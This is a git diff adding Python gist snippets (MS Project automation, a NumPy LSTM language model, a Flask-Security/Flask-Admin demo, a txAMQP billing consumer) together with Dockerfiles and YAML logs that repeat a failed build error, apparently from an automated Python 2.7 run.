+    def updateProgressPerResource(self, acceptSN, resource, PercentWorkComplete):
+        """Update task progress for a given S/N and resource."""
+        updt = True
+        found = False
+        for i in self._Tasks[acceptSN]['id']:
+            if self.Project.Tasks.Item(i).ResourceNames == resource:
+                setattr(self.Project.Tasks.Item(i), 'PercentWorkComplete', PercentWorkComplete)
+                found = True
+                if debug: print '\t>updated task at line:', i-1
+        return updt & found
+
+    def updateRFQADate(self, acceptSN, newDate, resetStart=False):
+        """Update task RFQA date.
+        By default RFQA start(=original) time is left untouched."""
+        updt = True
+        found = False
+        for i in self._RFQAs[acceptSN]['id']:
+            setattr(self.Project.Tasks.Item(i), 'Finish', datetime.datetime.strptime(newDate, '%Y/%m/%d'))
+            if resetStart:
+                setattr(self.Project.Tasks.Item(i), 'Start', datetime.datetime.strptime(newDate, '%Y/%m/%d'))
+            found = True
+            if debug: print '\t>updated RFQA at line:', i-1
+        return updt & found
+
+    def findRange(self, taskName, startID=1):
+        """Return the ID range of subtasks of a given task name or task SN. Only the first task of that name is handled."""
+        parentID = None
+        for i in range(startID, self.Project.Tasks.Count+1):
+            if self.Project.Tasks.Item(i):
+                if self.Project.Tasks.Item(i).Name == str(taskName) or self.Project.Tasks.Item(i).Text1 == str(taskName):
+                    parentID = i
+                    parentLevel = self.Project.Tasks.Item(i).OutlineNumber + '.'
+                    break # we deal only with the first item found
+        if not parentID:
+            raise AttributeError("MSProject file has no task '%s'" % str(taskName))
+        startID = parentID+1
+        endID = parentID
+        for i in range(startID, self.Project.Tasks.Count+1):
+            if self.Project.Tasks.Item(i):
+                if self.Project.Tasks.Item(i).OutlineNumber[0:len(parentLevel)] == parentLevel:
+                    endID = i
+                else:
+                    break # no point to continue further
+        if endID<startID:
+            startID = parentID
+            #print '*** No sub-tasks were found'
+        return startID, endID
+
+
+    def findSubRange(self, taskID):
+        """Return the ID range of subtasks of a given task ID."""
+        parentLevel = self.Project.Tasks.Item(taskID).OutlineNumber + '.'
+        parentID = taskID
+        startID = parentID+1
+        endID = parentID
+        for i in range(startID, self.Project.Tasks.Count+1):
+            if self.Project.Tasks.Item(i):
+                if self.Project.Tasks.Item(i).OutlineNumber[0:len(parentLevel)] == parentLevel:
+                    endID = i
+                else:
+                    break # no point to continue further
+        if endID<startID:
+            startID = parentID
+            #print '*** No sub-tasks were found'
+        return startID, endID
+
+
+    def buildAnalysisTree(self, task):
+        """Create 2 trees of all analysis items, including their sub-tasks and information (start, end, progress).
+        First tree is a dict with all AN keys. 2nd tree is a dict with all (py) categories.
+        Code assumes that all subtasks of an AN item are of the same category"""
+        tree = OrderedDict()
+        cats = dict()
+        trange = self.findRange(task)
+        for i in range(trange[0]-1,trange[1]):
+            sn = self.Project.Tasks.Item(i).Text1 # S/N column
+            py = self.Project.Tasks.Item(i).Text4 # py column
+            if sn.upper()[:3]=='AN-' and py.lower()!='ignore': # or i==(trange[0]-1):
+                tree[sn]=dict()
+                tree[sn]['subrange'] = self.findRange(sn, i)
+                tree[sn]['start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                tree[sn]['finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                tree[sn]['category'] = py
+                tree[sn]['totalWork'] = 0
+                tree[sn]['actualWork'] = 0
+                tree[sn]['percentWorkComplete'] = list()
+                tree[sn]['subTasks'] = dict()
+                if not py in cats:
+                    cats[py]=dict()
+                    cats[py]['subrange'] = list()
+                    cats[py]['AN'] = list()
+                    cats[py]['totalWork'] = 0
+                    cats[py]['actualWork'] = 0
+                    cats[py]['percentWorkComplete'] = list()
+                    cats[py]['subTasks'] = dict()
+                    cats[py]['start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                    cats[py]['finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                cats[py]['AN'].append(sn)
+                if cats[py]['start']<proj2time(self.Project.Tasks.Item(i).Start):
+                    cats[py]['start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                if proj2time(self.Project.Tasks.Item(i).Finish)>cats[py]['finish']:
+                    cats[py]['finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                for j in range(tree[sn]['subrange'][0],tree[sn]['subrange'][1]+1):
+                    if (self.Project.Tasks.Item(j).Text1 or self.Project.Tasks.Item(j).ResourceNames) and self.Project.Tasks.Item(j).Text4.lower()!='ignore':
+                        rsn = string.join(self.Project.Tasks.Item(j).ResourceNames.split(','),'')
+                        #s = self.findRange(self.Project.Tasks.Item(j).Text1, j)
+                        s = self.findSubRange(j)
+                        if s[0]==s[1]: # Work only on items that do not have sub-tasks
+                            sns = str(self.Project.Tasks.Item(j).Text1)+'_'+str(rsn)+'_'+str(j)
+                            tree[sn]['subTasks'][sns]=dict()
+                            tree[sn]['subTasks'][sns]['start'] = proj2time(self.Project.Tasks.Item(j).Start)
+                            tree[sn]['subTasks'][sns]['finish'] = proj2time(self.Project.Tasks.Item(j).Finish)
+                            tree[sn]['subTasks'][sns]['work'] = self.Project.Tasks.Item(j).Work
+                            tree[sn]['subTasks'][sns]['actual'] = self.Project.Tasks.Item(j).ActualWork
+                            tree[sn]['subTasks'][sns]['percent'] = self.Project.Tasks.Item(j).PercentWorkComplete
+                            tree[sn]['subTasks'][sns]['category'] = py
+                            if tree[sn]['subTasks'][sns]['start']<tree[sn]['start']:
+                                tree[sn]['start'] = tree[sn]['subTasks'][sns]['start']
+                            if tree[sn]['subTasks'][sns]['finish']>tree[sn]['finish']:
+                                tree[sn]['finish'] = tree[sn]['subTasks'][sns]['finish']
+                            tree[sn]['totalWork'] += tree[sn]['subTasks'][sns]['work']
+                            tree[sn]['actualWork'] += tree[sn]['subTasks'][sns]['actual']
+                            tree[sn]['percentWorkComplete'].append(int(tree[sn]['subTasks'][sns]['percent']))
+                            cats[py]['subTasks'][sns]=dict()
+                            cats[py]['subTasks'][sns]['start'] = proj2time(self.Project.Tasks.Item(j).Start)
+                            cats[py]['subTasks'][sns]['finish'] = proj2time(self.Project.Tasks.Item(j).Finish)
+                            cats[py]['subTasks'][sns]['work'] = self.Project.Tasks.Item(j).Work
+                            cats[py]['subTasks'][sns]['actual'] = self.Project.Tasks.Item(j).ActualWork
+                            cats[py]['subTasks'][sns]['percent'] = self.Project.Tasks.Item(j).PercentWorkComplete
+                            cats[py]['subTasks'][sns]['AN'] = sn
+                            if cats[py]['subTasks'][sns]['start']<cats[py]['start']:
+                                cats[py]['start'] = cats[py]['subTasks'][sns]['start']
+                            if cats[py]['subTasks'][sns]['finish']>cats[py]['finish']:
+                                cats[py]['finish'] = cats[py]['subTasks'][sns]['finish']
+                            cats[py]['totalWork'] += cats[py]['subTasks'][sns]['work']
+                            cats[py]['actualWork'] += cats[py]['subTasks'][sns]['actual']
+                            cats[py]['percentWorkComplete'].append(int(cats[py]['subTasks'][sns]['percent']))
+        return tree, cats
+
+
+    def findDeadline(self, taskID):
+        """Find deadline attribute for a give task."""
+        try:
+            pyt = self.Project.Tasks.Item(taskID).Deadline.Format('%Y/%m/%d')
+        except AttributeError:
+            pyt = self.Project.Tasks.Item(taskID).Finish.Format('%Y/%m/%d')
+        pyp = self.Project.Tasks.Item(taskID).PercentWorkComplete
+        pyo = self.Project.Tasks.Item(taskID).OutlineNumber
+        pyol = len(pyo.split('.'))
+        return pyt, pyp, pyol
diff --git a/hard-gists/ff2f97d91c9bed820c15/._snippet.py b/hard-gists/ff2f97d91c9bed820c15/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ff2f97d91c9bed820c15/._snippet.py differ
diff --git a/hard-gists/ff2f97d91c9bed820c15/snippet.py b/hard-gists/ff2f97d91c9bed820c15/snippet.py
new file mode 100644
index 00000000..38b84205
--- /dev/null
+++ b/hard-gists/ff2f97d91c9bed820c15/snippet.py
@@ -0,0 +1,193 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# This is a simplified implementation of the LSTM language model (by Graham Neubig)
+#
+#  LSTM Neural Networks for Language Modeling
+#  Martin Sundermeyer, Ralf Schlüter, Hermann Ney
+#  InterSpeech 2012
+# 
+# The structure of the model is extremely simple. At every time step we
+# read in the one-hot vector for the previous word, and predict the next word.
+# Most of the learning code is based on the full-gradient update for LSTMs
+#
+#  Framewise Phoneme Classification with Bidirectional LSTM and Other Neural Network Architectures
+#  Alex Graves and Jurgen Schmidhuber
+#  Neural Networks 2005
+#
+# Note that this code is optimized for simplicity, not speed or accuracy, so it will
+# be slow, and not necessarily get excellent performance. Also, it has not been checked all that
+# carefully, but the perplexity does seem to be going down, so it's probably ok?
+
+from collections import defaultdict
+import sys
+import math
+import numpy as np
+from scipy import linalg
+from scipy.special import expit         # Vectorized sigmoid function
+
+# Initialize the random number generator
+rng = np.random.RandomState(23455)
+
+# Constants
+NUM_EPOCHS = 10000    # Number of epochs
+ALPHA = 1             # Learning rate
+N = 10                # Number of units
+
+# First read in the input
+wids = defaultdict(lambda: len(wids))
+wids['<BIAS>'] = 0
+wids['<s>'] = 1
+sents = []
+words = 0
+
+for line in sys.stdin:
+    my_sent = ("<s> %s <s>" % line.strip()).split(' ')
+    words += len(my_sent) - 2
+    sents.append([wids[x] for x in my_sent])
+
+# Define input-dependent variables
+K = len(wids)       # Vocabulary size
+
+# Set weights randomly and uniformly between [-0.1, 0.1]
+W_iota_y = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, N+K)))
+W_iota_s = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, 1)))
+W_phi_y  = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, N+K)))
+W_phi_s  = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, 1)))
+W        = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, N+K)))
+W_eta_y  = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, N+K)))
+W_eta_s  = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(N, 1)))
+W_o      = np.asarray(rng.uniform(low=-0.1, high=0.1, size=(K, N)))
+
+# Softmax function
+def softmax(x):
+    e = np.exp(x - np.max(x))  # prevent overflow
+    return e / np.sum(e)
+
+# Tanh and derivative
+def tanh_prime(x):
+    y = np.tanh(x)
+    y_prime = 1 - (y * y)
+    return y, y_prime
+
+# For each epoch
+last_ll = -1e99
+for epoch_id in range(1, NUM_EPOCHS+1):
+    epoch_ll = 0
+    # For each sentence
+    for sent_id, sent in enumerate(sents):
+        ##### Initialize activations #####
+        Tau = len(sent)
+        I, X, Y, S              = range(Tau), range(Tau), range(Tau), range(Tau)
+        X_iota, Y_iota, Yp_iota = range(Tau), range(Tau), range(Tau)
+        X_phi, Y_phi, Yp_phi    = range(Tau), range(Tau), range(Tau)
+        X_eta, Y_eta, Yp_eta    = range(Tau), range(Tau), range(Tau)
+        G, Gp, H, Hp            = range(Tau), range(Tau), range(Tau), range(Tau)
+        X_o, Y_o                = range(Tau), range(Tau)
+        Y[0] = np.zeros( (N, 1) )
+        S[0] = np.zeros( (N, 1) )
+        sent_ll = 0 # Sentence log likelihood
+        ##### Forward pass #####
+        # For each time step
+        for t in range(1, Tau):
+            # Create the input vector
+            I[t-1] = np.zeros((N+K, 1))
+            I[t-1][0:N] += Y[t-1]
+            I[t-1][N] = 1             # Bias
+            I[t-1][N+sent[t-1]] = 1   # Word
+            # Calculate input gate activations
+            X_iota[t] = W_iota_y.dot(I[t-1]) + W_iota_s * S[t-1]
+            Y_iota[t], Yp_iota[t] = tanh_prime(X_iota[t])
+            # Calculate forget gate activations
+            X_phi[t]  = W_phi_y.dot(I[t-1])  + W_phi_s  * S[t-1]
+            Y_phi[t], Yp_phi[t] = tanh_prime(X_phi[t])
+            # Calculate cells
+            X[t] = W.dot(I[t-1])
+            G[t], Gp[t] = tanh_prime(X[t])
+            S[t] = Y_phi[t] * S[t-1] + Y_iota[t] * G[t]
+            # Calculate output gate activations
+            X_eta[t]  = W_eta_y.dot(I[t-1])  + W_eta_s  * S[t]
+            Y_eta[t], Yp_eta[t] = tanh_prime(X_eta[t])
+            # Calculate cell outputs
+            H[t], Hp[t] = tanh_prime(S[t])
+            Y[t] = Y_eta[t] * H[t]
+            # Calculate the emission
+            X_o[t] = W_o.dot(Y[t])
+            Y_o[t] = softmax(X_o[t])
+            sent_ll += math.log( max(Y_o[t][sent[t]],1e-20) )
+        ##### Initialize gradient vectors #####
+        Dg_o = np.zeros( (K, N) )
+        Dg = np.zeros( (N, N+K) )
+        Dg_eta_y = np.zeros( (N, N+K) )
+        Dg_eta_s = np.zeros( (N, 1) )
+        Dg_phi_y = np.zeros( (N, N+K) )
+        Dg_phi_s = np.zeros( (N, 1) )
+        Dg_iota_y = np.zeros( (N, N+K) )
+        Dg_iota_s = np.zeros( (N, 1) )
+        # Save the last deltas necessary
+        Dl_last = np.zeros( (N, 1) )
+        Dl_iota_last = np.zeros( (N, 1) )
+        Dl_phi_last = np.zeros( (N, 1) )
+        dE_last = np.zeros( (N, 1) )
+        # Calculate the error and add it
+        for t in reversed(range(1, len(sent))):
+            # Calculate the error resulting from the output
+            Dl_o = Y_o[t] * -1
+            Dl_o[sent[t]] += 1
+            Dg_o += Dl_o.dot(Y[t].T)
+            # Calculate the epsilon
+            Eps = W_o.T.dot(Dl_o) - W.T[0:N].dot(Dl_last)
+            # Calculate the change in output gates
+            Dl_eta = Yp_eta[t] * Eps * H[t]
+            Dg_eta_y += Dl_eta.dot(I[t-1].T)
+            Dg_eta_s += Dl_eta * S[t]
+            # Calculate the derivative of the error
+            dE = (Eps * Y_eta[t] * Hp[t] +
+                  dE_last * Y_phi[t] +
+                  Dl_iota_last * W_iota_s +
+                  Dl_phi_last * W_phi_s +
+                  Dl_eta * W_eta_s)
+            # Calculate the delta of the states
+            Dl = Y_iota[t] * Gp[t] * dE
+            Dg += Dl.dot(I[t-1].T)
+            # Calculate the delta of forget gate
+            Dl_phi = Yp_phi[t] * dE * S[t-1]
+            Dg_phi_y += Dl_phi.dot(I[t-1].T)
+            Dg_phi_s += Dl_phi * S[t]
+            # Calculate the delta of input gate
+            Dl_iota = Yp_iota[t] * dE * S[t-1]
+            Dg_iota_y += Dl_iota.dot(I[t-1].T)
+            Dg_iota_s += Dl_iota * S[t]
+            # Save the previous ones
+            Dl_last = Dl
+            Dl_iota_last = Dl_iota
+            Dl_phi_last = Dl_phi
+            dE_last = dE
+        # Update weights
+        W_o += ALPHA * Dg_o
+        W += ALPHA * Dg
+        W_eta_y += ALPHA * Dg_eta_y
+        W_eta_s += ALPHA * Dg_eta_s
+        W_phi_y += ALPHA * Dg_phi_y
+        W_phi_s += ALPHA * Dg_phi_s
+        W_iota_y += ALPHA * Dg_iota_y
+        W_iota_s += ALPHA * Dg_iota_s
+        # Print results
+        epoch_ll += sent_ll
+        # print(" Sentence %d LL: %f" % (sent_id, sent_ll))
+    epoch_ent = epoch_ll*-math.log(2)/words
+    epoch_ppl = 2 ** epoch_ent
+    print("Epoch %d (alpha=%f) PPL=%f" % (epoch_id, ALPHA, epoch_ppl))
+    if last_ll > epoch_ll:
+        ALPHA /= 2.0
+    last_ll = epoch_ll
+
+# Print weights
+print(W_o)
+print(W)
+print(W_eta_y)
+print(W_eta_s)
+print(W_phi_y)
+print(W_phi_s)
+print(W_iota_y)
+print(W_iota_s)
\ No newline at end of file
diff --git a/hard-gists/ffb1b5f12d7ad787f6e4/._snippet.py b/hard-gists/ffb1b5f12d7ad787f6e4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ffb1b5f12d7ad787f6e4/._snippet.py differ
diff --git a/hard-gists/ffb1b5f12d7ad787f6e4/snippet.py b/hard-gists/ffb1b5f12d7ad787f6e4/snippet.py
new file mode 100644
index 00000000..ef3d855c
--- /dev/null
+++ b/hard-gists/ffb1b5f12d7ad787f6e4/snippet.py
@@ -0,0 +1,202 @@
+# Example of combining Flask-Security and Flask-Admin.
+# by Steve Saporta
+# April 15, 2014
+#
+# Uses Flask-Security to control access to the application, with "admin" and "end-user" roles.
+# Uses Flask-Admin to provide an admin UI for the lists of users and roles.
+# SQLAlchemy ORM, Flask-Mail and WTForms are used in supporting roles, as well.
+
+from flask import Flask, render_template
+from flask.ext.sqlalchemy import SQLAlchemy
+from flask.ext.security import current_user, login_required, RoleMixin, Security, \
+    SQLAlchemyUserDatastore, UserMixin, utils
+from flask_mail import Mail
+from flask.ext.admin import Admin
+from flask.ext.admin.contrib import sqla
+
+from wtforms.fields import PasswordField
+
+# Initialize Flask and set some config values
+app = Flask(__name__)
+app.config['DEBUG']=True
+# Replace this with your own secret key
+app.config['SECRET_KEY'] = 'super-secret'
+# The database must exist (although it's fine if it's empty) before you attempt to access any page of the app
+# in your browser.
+# I used a PostgreSQL database, but you could use another type of database, including an in-memory SQLite database.
+# You'll need to connect as a user with sufficient privileges to create tables and read and write to them.
+# Replace this with your own database connection string.
+#xxxxx
+app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://postgres:xxxxxxxx@localhost/flask_example'
+
+# Set config values for Flask-Security.
+# We're using PBKDF2 with salt.
+app.config['SECURITY_PASSWORD_HASH'] = 'pbkdf2_sha512'
+# Replace this with your own salt.
+app.config['SECURITY_PASSWORD_SALT'] = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
+
+# Flask-Security optionally sends email notification to users upon registration, password reset, etc.
+# It uses Flask-Mail behind the scenes.
+# Set mail-related config values.
+# Replace this with your own "from" address
+app.config['SECURITY_EMAIL_SENDER'] = 'no-reply@example.com'
+# Replace the next five lines with your own SMTP server settings
+app.config['MAIL_SERVER'] = 'email-smtp.us-west-2.amazonaws.com'
+app.config['MAIL_PORT'] = 465
+app.config['MAIL_USE_SSL'] = True
+app.config['MAIL_USERNAME'] = 'xxxxxxxxxxxxxxxxxxxx'
+app.config['MAIL_PASSWORD'] = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
+
+# Initialize Flask-Mail and SQLAlchemy
+mail = Mail(app)
+db = SQLAlchemy(app)
+
+# Create a table to support a many-to-many relationship between Users and Roles
+roles_users = db.Table(
+    'roles_users',
+    db.Column('user_id', db.Integer(), db.ForeignKey('user.id')),
+    db.Column('role_id', db.Integer(), db.ForeignKey('role.id'))
+)
+
+
+# Role class
+class Role(db.Model, RoleMixin):
+
+    # Our Role has three fields, ID, name and description
+    id = db.Column(db.Integer(), primary_key=True)
+    name = db.Column(db.String(80), unique=True)
+    description = db.Column(db.String(255))
+
+    # __str__ is required by Flask-Admin, so we can have human-readable values for the Role when editing a User.
+    # If we were using Python 2.7, this would be __unicode__ instead.
+    def __str__(self):
+        return self.name
+
+    # __hash__ is required to avoid the exception TypeError: unhashable type: 'Role' when saving a User
+    def __hash__(self):
+        return hash(self.name)
+
+
+# User class
+class User(db.Model, UserMixin):
+
+    # Our User has six fields: ID, email, password, active, confirmed_at and roles. The roles field represents a
+    # many-to-many relationship using the roles_users table. Each user may have no role, one role, or multiple roles.
+    id = db.Column(db.Integer, primary_key=True)
+    email = db.Column(db.String(255), unique=True)
+    password = db.Column(db.String(255))
+    active = db.Column(db.Boolean())
+    confirmed_at = db.Column(db.DateTime())
+    roles = db.relationship(
+        'Role',
+        secondary=roles_users,
+        backref=db.backref('users', lazy='dynamic')
+    )
+
+
+# Initialize the SQLAlchemy data store and Flask-Security.
+user_datastore = SQLAlchemyUserDatastore(db, User, Role)
+security = Security(app, user_datastore)
+
+
+# Executes before the first request is processed.
+@app.before_first_request
+def before_first_request():
+
+    # Create any database tables that don't exist yet.
+    db.create_all()
+
+    # Create the Roles "admin" and "end-user" -- unless they already exist
+    user_datastore.find_or_create_role(name='admin', description='Administrator')
+    user_datastore.find_or_create_role(name='end-user', description='End user')
+
+    # Create two Users for testing purposes -- unless they already exists.
+    # In each case, use Flask-Security utility function to encrypt the password.
+    encrypted_password = utils.encrypt_password('password')
+    if not user_datastore.get_user('someone@example.com'):
+        user_datastore.create_user(email='someone@example.com', password=encrypted_password)
+    if not user_datastore.get_user('admin@example.com'):
+        user_datastore.create_user(email='admin@example.com', password=encrypted_password)
+
+    # Commit any database changes; the User and Roles must exist before we can add a Role to the User
+    db.session.commit()
+
+    # Give one User has the "end-user" role, while the other has the "admin" role. (This will have no effect if the
+    # Users already have these Roles.) Again, commit any database changes.
+    user_datastore.add_role_to_user('someone@example.com', 'end-user')
+    user_datastore.add_role_to_user('admin@example.com', 'admin')
+    db.session.commit()
+
+
+# Displays the home page.
+@app.route('/')
+# Users must be authenticated to view the home page, but they don't have to have any particular role.
+# Flask-Security will display a login form if the user isn't already authenticated.
+@login_required
+def index():
+    return render_template('index.html')
+
+
+# Customized User model for SQL-Admin
+class UserAdmin(sqla.ModelView):
+
+    # Don't display the password on the list of Users
+    column_exclude_list = list = ('password',)
+
+    # Don't include the standard password field when creating or editing a User (but see below)
+    form_excluded_columns = ('password',)
+
+    # Automatically display human-readable names for the current and available Roles when creating or editing a User
+    column_auto_select_related = True
+
+    # Prevent administration of Users unless the currently logged-in user has the "admin" role
+    def is_accessible(self):
+        return current_user.has_role('admin')
+
+    # On the form for creating or editing a User, don't display a field corresponding to the model's password field.
+    # There are two reasons for this. First, we want to encrypt the password before storing in the database. Second,
+    # we want to use a password field (with the input masked) rather than a regular text field.
+    def scaffold_form(self):
+
+        # Start with the standard form as provided by Flask-Admin. We've already told Flask-Admin to exclude the
+        # password field from this form.
+        form_class = super(UserAdmin, self).scaffold_form()
+
+        # Add a password field, naming it "password2" and labeling it "New Password".
+        form_class.password2 = PasswordField('New Password')
+        return form_class
+
+    # This callback executes when the user saves changes to a newly-created or edited User -- before the changes are
+    # committed to the database.
+    def on_model_change(self, form, model, is_created):
+
+        # If the password field isn't blank...
+        if len(model.password2):
+
+            # ... then encrypt the new password prior to storing it in the database. If the password field is blank,
+            # the existing password in the database will be retained.
+            model.password = utils.encrypt_password(model.password2)
+
+
+# Customized Role model for SQL-Admin
+class RoleAdmin(sqla.ModelView):
+
+    # Prevent administration of Roles unless the currently logged-in user has the "admin" role
+    def is_accessible(self):
+        return current_user.has_role('admin')
+
+# Initialize Flask-Admin
+admin = Admin(app)
+
+# Add Flask-Admin views for Users and Roles
+admin.add_view(UserAdmin(User, db.session))
+admin.add_view(RoleAdmin(Role, db.session))
+
+
+# If running locally, listen on all IP addresses, port 8080
+if __name__ == '__main__':
+    app.run(
+        host='0.0.0.0',
+        port=int('8080'),
+        debug=app.config['DEBUG']
+    )
\ No newline at end of file
diff --git a/hard-gists/ffd436e0a7897c9e872d/._snippet.py b/hard-gists/ffd436e0a7897c9e872d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ffd436e0a7897c9e872d/._snippet.py differ
diff --git a/hard-gists/ffd436e0a7897c9e872d/snippet.py b/hard-gists/ffd436e0a7897c9e872d/snippet.py
new file mode 100644
index 00000000..b6f5d677
--- /dev/null
+++ b/hard-gists/ffd436e0a7897c9e872d/snippet.py
@@ -0,0 +1,74 @@
+import pickle
+from twisted.internet.defer import inlineCallbacks
+from twisted.internet import reactor
+from twisted.internet.protocol import ClientCreator
+from twisted.python import log
+ 
+from txamqp.protocol import AMQClient
+from txamqp.client import TwistedDelegate
+ 
+import txamqp.spec
+ 
+@inlineCallbacks
+def gotConnection(conn, username, password):
+    yield conn.authenticate(username, password)
+    #print "Connected to broker."
+ 
+    print "Authenticated. Ready to receive messages"
+    chan = yield conn.channel(1)
+    yield chan.channel_open()
+ 
+    yield chan.queue_declare(queue="billingQueue")
+ 
+    # Bind to routes
+    yield chan.queue_bind(queue="billingQueue", exchange="billing", routing_key='bill_request.submit_sm_resp.*')
+ 
+    yield chan.basic_consume(queue='billingQueue', no_ack=True, consumer_tag="billingFollower")
+    queue = yield conn.queue("billingFollower")
+  
+    # Wait for messages
+    # This can be done through a callback ...
+    while True:
+        msg = yield queue.get()
+
+        print 'This is a bill with amount:%s for user:%s for sending msgid:%s' % (
+        	msg.content.properties['headers']['amount'],
+        	msg.content.properties['headers']['user-id'],
+        	msg.content.properties['message-id']
+        	)
+ 
+    # A clean way to tear down and stop
+    yield chan.basic_cancel("billingFollower")
+    yield chan.channel_close()
+    chan0 = yield conn.channel(0)
+    yield chan0.connection_close()
+ 
+    reactor.stop()
+ 
+ 
+if __name__ == "__main__":
+    host = '127.0.0.1'
+    port = 5672
+    vhost = '/'
+    username = 'guest'
+    password = 'guest'
+    spec_file = '/etc/jasmin/resource/amqp0-9-1.xml'
+ 
+    spec = txamqp.spec.load(spec_file)
+ 
+    # Connect and authenticate
+    d = ClientCreator(reactor,
+        AMQClient,
+        delegate=TwistedDelegate(),
+        vhost=vhost,
+        spec=spec).connectTCP(host, port)
+    d.addCallback(gotConnection, username, password)
+ 
+    def whoops(err):
+        if reactor.running:
+            log.err(err)
+            reactor.stop()
+ 
+    d.addErrback(whoops)
+ 
+    reactor.run()
\ No newline at end of file
diff --git a/hard-gists/hard-gists/.../Dockerfile-llm-2.7 b/hard-gists/hard-gists/.../Dockerfile-llm-2.7
new file mode 100644
index 00000000..de56da55
--- /dev/null
+++ b/hard-gists/hard-gists/.../Dockerfile-llm-2.7
@@ -0,0 +1,10 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/hard-gists/.../output_data_2.7.yml b/hard-gists/hard-gists/.../output_data_2.7.yml
new file mode 100644
index 00000000..cffb79d1
--- /dev/null
+++ b/hard-gists/hard-gists/.../output_data_2.7.yml
@@ -0,0 +1,4 @@
+---
+python_version: 2.7
+start_time: 1773782894.7030182
+iterations:
diff --git a/hard-gists/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7 b/hard-gists/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7
new file mode 100644
index 00000000..de56da55
--- /dev/null
+++ b/hard-gists/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7
@@ -0,0 +1,10 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml b/hard-gists/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml
new file mode 100644
index 00000000..97819e42
--- /dev/null
+++ b/hard-gists/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml
@@ -0,0 +1,236 @@
+---
+python_version: 2.7
+start_time: 1773782937.001187
+iterations:
+  iteration_1:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_2:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_3:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_4:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_5:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_6:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_7:
+    - python_module: {}
+    - error_type: None
+    - error: |
+         ---\u003e 68e7be49c28c\n"}
+        Step 2/5  WORKDIR /app"}
+        \n"}
+         ---\u003e Using cache\n"}
+         ---\u003e 7688a27ae48c\n"}
+        Step 3/5  RUN [\"pip\",\"install\",\"--upgrade\",\"pip\"]"}
+        \n"}
+         ---\u003e Using cache\n"}
+         ---\u003e b98cec2b7e1b\n"}
+        Step 4/5  COPY snippet.py /app"}
+        \n"}
+        {"error""COPY failed file not found in build context or excluded by .dockerignore stat snippet.py file does not exist","errorDetail"{"message""COPY failed file not found in build context or excluded by .dockerignore stat snippet.py file does not exist
+  iteration_8:
+    - python_module: {}
+    - error_type: None
+    - error: |
+        {"error":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist","errorDetail":{"message":"COPY failed: file not found in build context or excluded by .dockerignore: stat snippet.py: file does not exist"}}
+  iteration_9:
+    - python_module: {}
+    - error_type: None
+    - error: |
